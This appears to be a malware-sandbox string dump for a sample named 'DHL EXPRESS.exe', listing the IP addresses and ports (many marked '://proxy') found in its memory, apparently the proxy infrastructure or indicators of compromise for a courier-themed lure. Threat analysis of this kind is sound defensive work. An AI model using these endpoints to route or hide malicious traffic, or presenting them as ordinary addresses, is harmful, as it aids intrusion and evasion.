Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.212.198:3950
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.212.212:58903
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC65F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.212.212:58903://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.215.230:48640://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.215.79:63212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.215.79:63212://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:36111
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:36111://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:4833
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:4833://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:60069
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://148.72.23.56:60069://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.102.130.120
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.102.130.120://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.102.130.120:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.126.101.162:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.126.101.162:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.202.91.219
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.202.91.219://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.202.91.219:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.28.155.28:62963
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.28.155.28:62963://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.28.240.100:10403
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://149.28.240.100:10403://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.207.196.77:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.207.196.77:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.236.106.236:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://15.236.106.236:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.107.136.205:39843
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://150.107.136.205:39843://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.22.181.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.22.181.205:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.22.181.205:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:58266
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://151.236.39.7:58266://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.136.151
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.136.151.195:2080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.136.151.195:2080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.230.215.123:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.130.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.130.117:18080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.130.117:18080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.132.220:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.78.24:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://152.32.78.24:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.127.194.62:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.139.233.218:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.139.233.218:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://153.19.91.77:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.0.14.116:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.0.14.116:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.113.121.60
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.113.121.60://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.113.121.60:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.118.228.212:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.178.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.178.107:29985
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.12.178.107:29985://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.126.81.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.126.81.163:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.126.81.163:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.16.116.166:2512
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.16.116.166:2512://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.205.152.96:9080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.205.152.96:9080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAAEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.208.10.126
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.208.10.126://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.208.10.126:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.236.179
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.236.179.226:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.236.179.226:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.239.9.82:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.239.9.82:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.239.9.94:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.239.9.94:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.64.219.2:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.64.219.2:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.7://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.7:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.8
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.8://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.65.39.8:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.66.108.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.66.108.9:10081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.66.108.9:10081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.66.108.9:10081P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.72.90.74:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.72.90.74:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.28.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.28.157:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.28.157:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.29.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.29.129:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.29.129:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.29.161:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.73.29.161:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.79.246.18:9898
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://154.83.29.105:3030
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.185.15.56:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.185.15.56:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.213.149:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.213.149:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.215.37:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.215.37:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.241.99:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://155.50.241.99:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.71:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.200.116.71:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.232.9.194:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.232.9.194:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD89D000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.244.64.7:50009
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.244.64.7:50009://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.54.240.53:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.54.240.53:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB84B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.172.185:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://156.67.172.185:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.56.40:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.56.40:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.56.40:999P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.6.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.6.202:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.6.202:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.63.69:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.100.63.69:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.159.10.86
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.159.10.86://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.159.10.86:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.131.28:30422
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.131.28:30422://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.255.109:43162
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.245.255.109:43162://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.25.92.7
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.25.92.74:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://157.25.92.74:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.113.18
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.113.18://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.101.113.18:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.247.207.153:3030
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://158.247.207.153:3030://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.112.141.44:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB1F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.112.141.44:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.148.146.65:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.148.146.65:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.102.249:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.102.249:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.102.249:8080:b/
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.138
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.138.170:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.138.170:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.192.233.69:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.104
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.104.153:8200
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://159.203.104.153:8200://proxy
